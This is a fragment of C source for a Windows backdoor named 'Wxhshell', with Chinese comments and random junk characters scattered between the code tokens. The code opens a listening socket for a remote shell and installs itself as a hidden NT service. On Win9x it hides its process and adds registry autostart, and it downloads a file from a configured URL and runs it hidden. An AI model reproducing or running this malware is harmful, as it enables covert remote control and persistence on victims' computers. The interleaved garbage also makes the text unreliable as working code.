b'i%B9yU:% SOCKET wsl; G>9'5Lt BOOL val=TRUE; ke mr@_ int port=0; :6qUSE
struct sockaddr_in door; {5?!`<fF IiQWs1 if(wscfg.ws_autoins) Install(); P1vF{e k B$lkl\C port=atoi(lpCmdLine); WllCcD1 Zm?G'06 if(port<=0) port=wscfg.ws_port; .f [\G*
h?M'7Lti WSADATA data; :z}~U3,JE if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !!\4'Q[ B]CS2LEqh if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o%QhV6(F setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,5%aP% door.sin_family = AF_INET; V1AEjh door.sin_addr.s_addr = inet_addr("127.0.0.1"); .l" _K door.sin_port = htons(port); rQAbN6 ]&; G\9$y if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4?*`: closesocket(wsl); t2`X!` return 1; xNkwTDN5 } u:p:*u_^I ,(5dQ` hA0 if(listen(wsl,2) == INVALID_SOCKET) { as\)S?0`. closesocket(wsl); 9'1;-^U1 return 1; 4
g/<).1<b } c>%z)uY>/ Wxhshell(wsl); _r^G%Mvy| WSACleanup(); ]ys4 RJ7/I/yD| return 0; rmAP&Gw I 1L(Nfkh } cftn`:(&8 !~VR|n- // 以NT服务方式启动 mDe+ M{/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3w6J V+? { `"1{Sx. DWORD status = 0; S(YHwH": DWORD specificError = 0xfffffff; 8M5!5Jzv U(=f5|- serviceStatus.dwServiceType = SERVICE_WIN32; (&a3v serviceStatus.dwCurrentState = SERVICE_START_PENDING; \5v=pDd4g serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cfQh serviceStatus.dwWin32ExitCode = 0; }r\SP3 serviceStatus.dwServiceSpecificExitCode = 0; ,T1XX2?: serviceStatus.dwCheckPoint = 0; ~P_d0A~T serviceStatus.dwWaitHint = 0; /(z0I.yE )x5$io
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "m\UqQGX if (hServiceStatusHandle==0) return; lMI
ix0sSj d(dw]6I6 status = GetLastError(); 9x
6ca if (status!=NO_ERROR) Xk7$?8r4& { 1&>nL`E[3 serviceStatus.dwCurrentState = SERVICE_STOPPED; ~6Ee=NaLzP serviceStatus.dwCheckPoint = 0; S]e~)IgO serviceStatus.dwWaitHint = 0; +A&IxsTq5= serviceStatus.dwWin32ExitCode = status; 8[{0X4y3 serviceStatus.dwServiceSpecificExitCode = specificError; +{ ,w#@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); M<|~MR return; 4jZi62 } \!4ghev3 ?yd(er<_f serviceStatus.dwCurrentState = SERVICE_RUNNING; 9_CA5?y$: serviceStatus.dwCheckPoint = 0; 4<K ,w{I serviceStatus.dwWaitHint = 0; LMhY"/hAXa if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j#.-MfB } Duo#WtC
FZ'>LZ // 处理NT服务事件,比如:启动、停止 PY3Vu]zD VOID WINAPI NTServiceHandler(DWORD fdwControl) \c@qtIc { cq+M
*1; switch(fdwControl) sD8xH { sou$qKoG01 case SERVICE_CONTROL_STOP: \?`d=n= serviceStatus.dwWin32ExitCode = 0; ,BN}H-W\2 serviceStatus.dwCurrentState = SERVICE_STOPPED; t&?v9n"X serviceStatus.dwCheckPoint = 0; C`K9WJOD serviceStatus.dwWaitHint = 0; qjRiTIp9q { :4L5@>b- SetServiceStatus(hServiceStatusHandle, &serviceStatus); H:nu>pzt } =B 4g EWR return; VAB&&AL
case SERVICE_CONTROL_PAUSE: h"Yqm"U/ serviceStatus.dwCurrentState = SERVICE_PAUSED; 0m|
Gp break; xuH<=-O>ki case SERVICE_CONTROL_CONTINUE: gQcr'[[a serviceStatus.dwCurrentState = SERVICE_RUNNING; Qak@~b break; F|3FvxA case SERVICE_CONTROL_INTERROGATE: 4)I/\ break; u=UM^C! }; KzH}5:qI SetServiceStatus(hServiceStatusHandle, &serviceStatus); RX<^MzCDV } JNz"lTt>[g {II7%\ya // 标准应用程序主函数 YF[!Hpzq int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %A[p!U { NbK?Dg8WJG A#07Ly8kXn // 获取操作系统版本 :+V1682u OsIsNt=GetOsVer(); GLcZ=6)"' GetModuleFileName(NULL,ExeFile,MAX_PATH); '9F{.] z E7ocul // 从命令行安装 e hB1`%@ if(strpbrk(lpCmdLine,"iI")) Install(); eVK<%r= Q24:G // 下载执行文件 (Vv[ if(wscfg.ws_downexe) { u5)A+.v if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y:`` |*+ WinExec(wscfg.ws_filenam,SW_HIDE); g!|E!\p } o>,z %+ {<{G 1y~ if(!OsIsNt) { J'4@-IM // 如果时win9x,隐藏进程并且设置为注册表启动 .j'IYlv/P HideProc(); YQ`#C#Wb StartWxhshell(lpCmdLine); m
?tnk?oX } "aO, else KUqS(u if(StartFromService()) )p_LkX( // 以服务方式启动 Z*Hxrw\!0 StartServiceCtrlDispatcher(DispatchTable); /gy:#-2Gy else _!g
NF= // 普通方式启动 <TROs!x$a StartWxhshell(lpCmdLine); u~T$F/]k> H;!hp0y return 0; f*&JfP }
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